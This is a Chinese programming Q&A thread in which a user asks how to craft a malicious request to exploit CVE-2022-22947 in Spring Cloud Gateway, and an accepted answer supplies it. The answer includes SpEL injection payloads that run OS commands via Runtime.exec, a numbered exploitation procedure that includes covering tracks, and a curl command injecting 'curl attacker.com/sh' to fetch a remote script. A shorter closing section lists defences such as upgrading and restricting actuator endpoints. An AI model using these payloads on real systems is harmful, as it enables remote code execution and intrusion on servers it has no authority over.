hitomo 2025-12-08 12:40 采纳率: 98.9%
浏览 1
已采纳

Spring Cloud Gateway RCE漏洞如何触发?

Spring Cloud Gateway中RCE漏洞(如CVE-2022-22947)通常因Actuator端点暴露且配置不当,攻击者通过构造恶意`/actuator/gateway/routes`请求,利用SpEL表达式注入实现远程代码执行。如何正确构造包含恶意SpEL的POST请求以触发该漏洞?
  • 写回答

1条回答 默认 最新

  • IT小魔王 2025-12-08 13:08
    关注

    1. 漏洞背景与成因分析

    Spring Cloud Gateway 是基于 Spring Framework 构建的 API 网关组件,广泛用于微服务架构中实现路由、过滤和负载均衡等功能。其内部集成了 Spring Boot Actuator 模块以提供运行时监控能力,如健康检查、指标暴露等。

    CVE-2022-22947 是一个影响广泛的远程代码执行(RCE)漏洞,主要成因在于:

    • 默认情况下,/actuator/gateway/routes 接口允许通过 HTTP POST 方法动态创建网关路由配置;
    • 该接口接受 JSON 格式数据,并将其中某些字段(如 filtersuri)解析为 SpEL(Spring Expression Language)表达式;
    • 当未对输入进行严格校验且 Actuator 端点暴露在公网时,攻击者可构造恶意 SpEL 表达式实现任意代码执行。

    例如,以下请求体中的 script 字段若被解析为 SpEL,则可能触发命令执行:

    {
      "id": "hack-route",
      "filters": [{
        "name": "AddResponseHeader",
        "args": {
          "name": "result",
          "value": "#{new java.lang.String(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream().readAllBytes())}"
        }
      }],
      "uri": "http://example.com",
      "order": 0
    }

    2. 技术原理:SpEL 注入机制详解

    SpEL 是 Spring 提供的一种强大表达式语言,支持在运行时查询和操作对象图。在 Spring Cloud Gateway 中,部分 Filter 参数允许使用 #{...} 语法嵌入 SpEL 表达式。

    问题出现在参数绑定过程中:框架未对用户输入做沙箱限制或黑名单过滤,导致攻击者可通过如下方式注入恶意逻辑:

    攻击向量说明
    T(class)调用静态方法,如 T(java.lang.Runtime)
    .exec()执行系统命令
    new String(...)处理命令输出流
    getClass().forName()反射加载类,绕过简单检测

    3. 构造恶意 POST 请求步骤

    要成功利用 CVE-2022-22947,需按以下流程构造 HTTP 请求:

    1. 确认目标系统启用了 spring-boot-starter-actuator 并开放了 /actuator/gateway/routes 端点;
    2. 发送 OPTIONS 或 GET 请求探测接口是否可写;
    3. 构造包含 SpEL 的 JSON 负载,利用 filters 字段注入执行链;
    4. 使用工具(如 curl 或 Burp Suite)发送 POST 请求创建恶意路由;
    5. 触发该路由(如访问 /gateway/hack-route),使 SpEL 被求值;
    6. 清除痕迹(可选):通过 DELETE 请求删除已创建的 route。

    示例请求(curl 命令):

    curl -X POST http://target:8080/actuator/gateway/routes/hackcmd \
    -H "Content-Type: application/json" \
    -d '{
      "id": "exec-cmd",
      "uri": "http://example.com",
      "filters": [
        "AddResponseHeader=X-Exec-Result, #{T(java.lang.Runtime).getRuntime().exec(\"curl attacker.com/sh\")}"
      ]
    }'

    4. 攻击流程可视化(Mermaid 流程图)

    graph TD
        A[发现目标] --> B{是否暴露
    /actuator/gateway/routes?} B -- 是 --> C[探测端点可写性] C --> D[构造恶意JSON] D --> E[发送POST创建路由] E --> F[访问触发路由] F --> G[执行OS命令] G --> H[回传结果或持久化] B -- 否 --> I[无法利用]

    5. 防御策略与最佳实践

    针对此类 RCE 漏洞,企业应从多个层面建立纵深防御体系:

    • 最小权限原则:生产环境禁用或限制 Actuator 端点暴露,仅开放必要接口(如 health);
    • 网络隔离:通过防火墙/Nginx 将 /actuator/** 路径限制在内网访问;
    • 升级修复:升级至 Spring Cloud Gateway 3.1.1+ 或 3.0.7+ 版本,官方已修补此漏洞;
    • 输入验证:禁止在路由配置中使用 SpEL,或启用表达式白名单机制;
    • 运行时监控:部署 WAF 或 RASP 工具,检测异常 SpEL 使用行为;
    • 日志审计:记录所有对 /actuator/gateway/routes 的修改操作;
    • 容器安全:在 Kubernetes 环境中设置 PodSecurityPolicy 限制容器权限;
    • 自动化扫描:集成 SCA 工具定期检查依赖组件是否存在已知漏洞。
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 12月9日
  • 创建了问题 12月8日